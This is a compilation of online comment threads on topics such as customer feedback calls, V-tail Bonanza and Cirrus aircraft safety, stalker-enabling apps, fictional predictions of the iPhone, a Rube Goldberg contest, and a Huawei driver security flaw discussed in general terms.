<comment><USER12> Agreed. Rarely has someone called me who _really_ really wanted to know my experience with something, and nothing more. I think I've had one call like that in the last year, and even it was sort of a... well, not salesy. I'd signed up for an Azure test drive. 1 month in someone called to ask what I was doing with it. Based on what I said, they assigned a support person to me, sent me that person's info, and said to contact them if I had any support/tech questions. No sales pitch, no upsell.

Pretty much every other thing I sign up for, if someone calls, it's inevitably a salesperson who _does not understand the tech behind the tech they 're selling_, trying to push the latest version of something they don't know.

Please - call me and ask me if I'm using it. If say 'no' \- as in, 'no, I don't use subversion, and I've not worked in an enterprise situation for 9 years' \- that should be enough to take me off your list. If I say yes, and have feedback, take it, listen, record it, say 'thanks', and get it to the right people. If I'm using something, and it sucks, and I tell you it sucks, a followup from someone telling me you'll make it better would net a customer for life. No one has yet done that for me.

Wait - I did have a service company in town that was in startup mode take their site down, then proceed to call a few of the really early adopters (me included), do moderately long interviews by phone, and then tell us they're pivoting the company based on our feedback. Time will tell if that works out for them, but it was unexpected.

tldr = if you're calling for feedback, call for feedback, take it, and act on it. do not try to sell me something at the same time.

<comment><USER4> Oh yes.

I love the idea of actually just asking for feedback. And _then_ putting a dev in front of the ones who actually have something constructive to say.

</comment></comment></comment></comment><comment><USER13> Loved the post. I just signed up for the newsletter so that I'll get more of these pushed to my inbox in the future.

Patrick: do you think it's a good idea to add a date of publication to your articles? Most people wouldn't care, but I found myself trying to find it to see how current the content was.

<comment><USER6> No, in fact I think this would be a terrible idea, because if I put 6/21/2007 people would perceived it to be sharply less valuable _without changing a single word of the article or a fact about reality as it exists in 2013_. Dating it is just asking people to discount my advice after a 48 hour window from publication.

<comment><USER14> No. Date of writing article adds brief, but important piece of information about that article.

Date is very helpful in digesting article (by putting it in context).

If you make it harder to digest your articles - you directly subtract it from your karma.</comment></comment></comment>


What was wrong with V-tail Bonanza pilots? (2012) - <AUTHOR> http://airfactsjournal.com/2012/06/tail-tale-what-was-wrong-with-v-tail-bonanza-pilots/

<comment><USER2> I fly a Cirrus and it is not inherently more difficult or dangerous to fly then any other aircraft. What Cirrus has done is make an aircraft which brings new pilots into flying with the concept of using an aircraft like you would a car. The debate comes when the addition of technology (e.g parachute) is added and its ability to increase safety by not allowing pilots to make mistakes or always saving them.

The accident statistics are also interesting as actually the average experience of pilots involved in accidents are very high and you are more likely to be involved in an accident when flying with an instructor. There is no doubt though that more training in an aircraft type and currency are the two biggest ways to decrease accident rates. [1]

It is also funny that Cirrus' latest aircraft is a V-tail jet aimed at owner pilots! [2]

1\. [https://www.cirruspilots.org/copa/safety_programs/w/safety_p...](https://www.cirruspilots.org/copa/safety_programs/w/safety_pages/721.cirrus- accident-rates.aspx)

2\. [http://cirrusaircraft.com/vision/](http://cirrusaircraft.com/vision/)

<comment><USER3> There is a common opinion in the aviation community that several of the "saves" from the recovery chute in a Cirrus shouldn't really count. In an aircraft that wasn't equipped with a parachute, (anecdotally) many of the "departures of controlled flight" could have been fixed without a chute before crashing. Undoubtedly some of them are actual saves, but opinion is that people pull the handle too early just because it is there and they get scared. Again, this is just an opinion and not shared by everyone.

<comment><USER2> That may be the case, but I don't think it is an argument against the chute. As pilots, we look at past accidents and it is easy to say 'I wouldn't have done that' but once placed in that situation, the reality is often different. The COPA motto for use of the chute is 'Pull early, Pull often' and I think this represents the fact that training can only go so far (this is seen to be the case both with professional and amateur pilots) and pilots should not 'deserve' to crash due to poor decision making.

I don't think anyone takes the decision of pulling the parachute lightly, but in many cases it is statistically the best path to take (there have been no fatalities through proper use of the parachute). If pilots had been using the parachute in cases where it is not necessary, insurance premiums etc. would reflect this but this has not been the case. I think the main debate is to the risk of injuring someone on the ground. Thankfully this has not happened yet, but it should be the duty of pilots to put the safety of others ahead of themselves.

</comment></comment></comment><comment><USER4> I grew up in a Bonanza - H, M, and V35 models. I still think they are on of the sexiest designs.

</comment><comment><USER3> My grandpa owned a V35 and while he didn't have a problem with controlling the airplane, he did land it with the gear retracted, which screwed up the bottom skins and the prop. I heard the "doctor killer" nickname several times, but never knew anyone who actually crashed it (there were several at the airport he flew out of).

<comment><USER5> They say there are two kinds of pilots who fly retracts: those who have landed with the gear up, and those who will.

I'm currently in the latter category and trying my damndest to stay there, but the odds don't seem good.

<comment><USER6> just remember to do gumps check everytime on short final

<comment><USER5> I'm a glider pilot, so I do FUSTAL around when I enter downwind: flaps, undercarriage, speed, trim, airbrakes, look.

Just checking won't save you 100% of the time, though. My partner once forgot to retract the gear earlier in a flight, then came in to land and did the U part by moving the lever to the other position. I think the stripe he painted down the runway cost about $50/foot. Fortunately the repair was great and it's good as new.

</comment></comment></comment></comment><comment><USER7> We call them "fork tail doctor killers" at the airport I hang out at.

<comment><USER8> Same here in Texas. I think the implication is that many of the pilots are/were "casuals" flying airplanes whose performance exceeded their skill.

<comment><USER9> That's the version of the story I heard as well...to put a little bit more context, because the plane was quite expensive, typically the people who could afford to get one would be in a high paying profession. Anecdotally, the chat around pilot circles was also that the mental attitude of highly successful professionals - such as Doctors - gave an air of confidence that wasn't earned when it came to airplanes. As in, too self assured, and when it was time to trust the instruments or go down, the latter happened a lot more than the former.

Side note: I haven't seen the number in a while, but supposedly the Dodge Viper was one of the most lethal cars when purchased new, in that it had so much performance that its inexperienced driver would get into trouble very quickly (as in, within weeks / a month of purchase). This was from quite a while ago, and I think several companies started including driving courses or 'limited performance' aspects to their flagship vehicles to prevent this kind of reputation (ex: 'Valet Key' or a specific dongle to unlock full potential).

<comment><USER10> _I haven 't seen the number in a while, but supposedly the Dodge Viper was one of the most lethal cars when purchased new, in that it had so much performance that its inexperienced driver would get into trouble very quickly..._

That doesn't surprise me. A front-engine, rear-wheel drive car could (depending on how the handling is adjusted) have massive oversteer coming out of a corner if you lay on the accelerator. So there are plenty of opportunities to get into trouble. In the hands of a pro, this can really help getting through the corner quickly. But an amateur could easily spin out.

</comment></comment></comment></comment><comment><USER11> My father was a dentist and we owned a V35 from the 1950's while I was growing up.</comment>


Hundreds of Apps Can Empower Stalkers to Track Their Victims - <AUTHOR> https://www.nytimes.com/2018/05/19/technology/phone-apps-stalking.html <comment><AUTHOR> Stalking isn't the only malignant usage: tracking data can also be used, for example, to determine when someone is away and their home can be safely robbed.

Aggregation of personal data imposes negative externalities whose costs are borne by individuals. As the aggregation accelerates, so does this problem.</comment>


I Invented the iPhone in 1977 - <AUTHOR> https://meaningness.com/metablog/pocket-computer <comment><USER2> Clarke "invented" it in his 1975 book "Imperial Earth", calling it the "minisec":

"The 'Sec was the standard size of all such units, determined by what can fit comfortably in the human hand. At a quick glance, it did not differ greatly from one of the small electronic calculators that had started coming into general use at the end of the twentieth century. It was, however, infinitely more versatile, and Duncan could not imagine what life would be like without it. Because of the finite size of clumsy human fingers, it had no more controls than that of its ancestor of three hundred years earlier. There were fifty neat little studs; each, however, had an unlimited number of functions, according to the mode of operation - for the character visible on each stud changed according to the mode. ... The device also had a dictionary function and could hold large amounts of data. It could also communicte with desktop console computers."

[http://www.technovelgy.com/ct/content.asp?Bnum=1267](http://www.technovelgy.com/ct/content.asp?Bnum=1267)

</comment><comment><USER3>
        I spent the afternoon in a bookstore. There were no books in it. None had been printed for nearly half a century. And how I have looked forward to them, after the micro films that made up the library of the Prometheus! No such luck. No longer was it possible to browse among shelves, to weigh volumes in hand, to feel their heft, the promise of ponderous reading. The bookstore resembled, instead, an electronic laboratory. The books were crystals with recorded contents. They could be read with the aid of an opton, which was similar to a book but had only one page between the covers. At a touch, successive pages of the text appeared on it.

[...]

        But optons were little used, the sales-robot told me. The public preferred lectons – like lectons read out loud, they could be set to any voice, tempo and modulation.

Stanisław Lem, "A Return from the Stars", 1961

More: [https://culture.pl/en/article/13-things-lem-predicted- about-...](https://culture.pl/en/article/13-things-lem-predicted-about-the- future-we-live-in)

:)

<comment><USER4> I don't worry so much that we're living in _The Futurological Congress_ once I observe that people don't seem to be in particularly good shape.

</comment></comment><comment><USER5> To quote the iconic line from _The Social Network_ : "If you guys were the inventors of Facebook, then you would have invented Facebook." [0]

[0]: [https://youtu.be/QqP38kZC1QA](https://youtu.be/QqP38kZC1QA)

</comment><comment><USER2> In the 1960s, I read a book written for kids. I don't recall the title of it. In it, the boy receives a toy with a keyboard and a screen. He types in questions, and gets answers. One question he asked the toy was "what is the main export of Bolivia?" The toy writes to the screen "tin".

I type it into Google 45 years later, and it replies "natural gas, silver, zinc, lead, tin, gold, quinoa, soybeans and soy products".

I wish I remembered the title of that book!

<comment><USER6> _Danny Dunn and the Homework Machine_ , (1958)?

      He snapped the POWER ON switch and, while he was waiting for the machine to warm up, quickly jotted down exactly what he wanted and found the code number for its place in the memory banks. Turning to the microphone, he said, "Address 21690. A report on the products and industry of Peru. Prepare and type information, pages 93, 94, and 95."
      ...
      Irene pretended to clear her throat. She could remember feeding the information about Peru into the computer. Frowning with the effort to recall the details, she brought to mind the exact pages of the textbook: pages 93, 94, and 95. She pretended to read from the report but really began to recite from memory: "The products of Peru. Within the boundaries of Peru many minerals are to be found, among them silver and copper…"

<comment><USER2> That is amazing but I remember it being Bolivia! I did a google search-inside- the-book but "Bolivia" is not found. Neither is "tin".

But it does sound awfully close. Maybe the book I read is a knock-off of Danny Dunn.

<comment><USER6> Maybe. 60 years is a long opportunity for memories to shift their details while retaining the main thrust. Try skimming the book, perhaps other scenes and characters will feel familiar; skimming my own copy certainly did for me.

<comment><USER2> You may very well be right.

</comment></comment></comment></comment></comment><comment><USER7> Alan Kay might disagree:

[https://en.wikipedia.org/wiki/Dynabook](https://en.wikipedia.org/wiki/Dynabook)

</comment><comment><USER8> I suppose this goes without saying, usually:

A sketch is not an invention.

Correspondingly, Star Trek didn't invent the iPad.

You have to actually build a functioning prototype to claim to have invented something.

<comment><USER9> > You have to actually build a functioning prototype to claim to have invented > something.

No. But that's besides the point. (See [https://www.neustel.com/invention- process/prototypes/#:~:tex...](https://www.neustel.com/invention- process/prototypes/#:~:text=Many%20inventors%20wonder%20if%20they,they%20can%20also%20be%20costly). for example)

This guy wrote an interesting article when he was 15 that got a lot of predictions right. Enjoy it for what it is! He's not claiming he owns the rights to the iPhone.

Lighten up people.

<comment><USER10> I assume "invented" is tongue in cheek. A more accurate word might be "predicted".

</comment></comment></comment><comment><USER11> I feel like the 'idea' of the iPhone was in the global zeitgeist for a long while before it was actually made.

As I child, I can remember watching a program called "Beyond 2000". In one particular segment, it showed a newspaper being replaced with a digital screen that you could hold in your hand. That idea -- a screen that you could carry around with you -- seemed to be something we were always working towards.

<comment><USER12> I also use to watch that! was my favorite part of the week when I was like 10... wonder where one could find the episodes, would be cool to watch them now and reflect on how things turned out.

</comment></comment><comment><USER13> My father always had several small computers laying around when I was a young child. I really enjoyed the Tandy pocket computer. Even as a 4 or 5 year old, I could get it to do the "What is your name", "hello <>" program. It was a source of hours of enjoyment.

</comment><comment><USER14> So what. I invented half of the patents being submitted by Apple, all in one short story I wrote in 1994.

</comment><comment><USER15> I just hand drew a rocket to Uranus. I hereby decree I am now the inventor.

<comment><USER16> My son beat you by several years.

</comment></comment><comment><USER17> I sketched the XBOX in 1998. I even named it the "X-BOX" on the paper.

</comment><comment><USER18> > No, really. I did.

> So I lied. I didn't invent the iPhone; I invented the iPAQ (cca. 2000)

To save you the time.</comment>


Rube Goldberg Machine Competition - <AUTHOR> http://arstechnica.com/science/news/2010/03/rube-goldberg-competition-gets-teens-excited-about-stem.ars/3

<comment><AUTHOR> I built a Rube Goldberg machine in high school as part of Science Olympiad (<http://soinc.org/>).

It might be a surprise to some that the machine with the lowest budget one, but it's not to me. We also had essentially no budget--I think we spent about $5 on parts--but ended up placing 5th out of about 25 teams. And we had actually had a chance to test it before we went to the competition we would have done a lot better.

You can easily spend hundreds of dollars on these things (and some of the teams we competed against did), but it's not going to actually get you much. When you're building a machine that's complex by design, you really want the individual components to be as simple as possible.</comment>


A Huawei driver that opened systems to attack - <AUTHOR> https://arstechnica.com/gadgets/2019/03/how-microsoft-found-a-huawei-driver-that-opened-systems-up-to-attack/ <comment><USER2> Two words: plausible deniability.

Those techniques used in Huawei's driver are pretty unusual. I wonder if there's a chain of vulnerabilities from other components, including those that see network data.

Disclaimer: My dayjob includes writing Windows kernel drivers.

</comment><comment><USER3> > To perform that restart, the driver injected code into a privileged Windows > process and then ran that code using an APC—a technique lifted straight from > malware. > Why Huawei chose this approach is not immediately clear, as > Windows has as a built-in feature the ability to restart crashed services. > There's no need for an external watchdog.

Yes. How weird. An unusual and vulnerable technique was used that also gave plausible deniability?

<comment><USER4> Gee, you aren't implying that Huawei would do something bad, are you? You aren't implying that they don't take their user's security seriously, are you? You aren't implying that they could be dropping (very sloppy) back doors into stuff, possibly at the behest of Beijing, are you?

/s

</comment></comment><comment><USER5> Good for Microsoft and their toolchain for finding this. They take security seriously.

<comment><USER6> Yes, they made a system as a market for their security tools :)

</comment></comment><comment><USER7> Super surprised to hear it was Huawei that accidentally did this.</comment>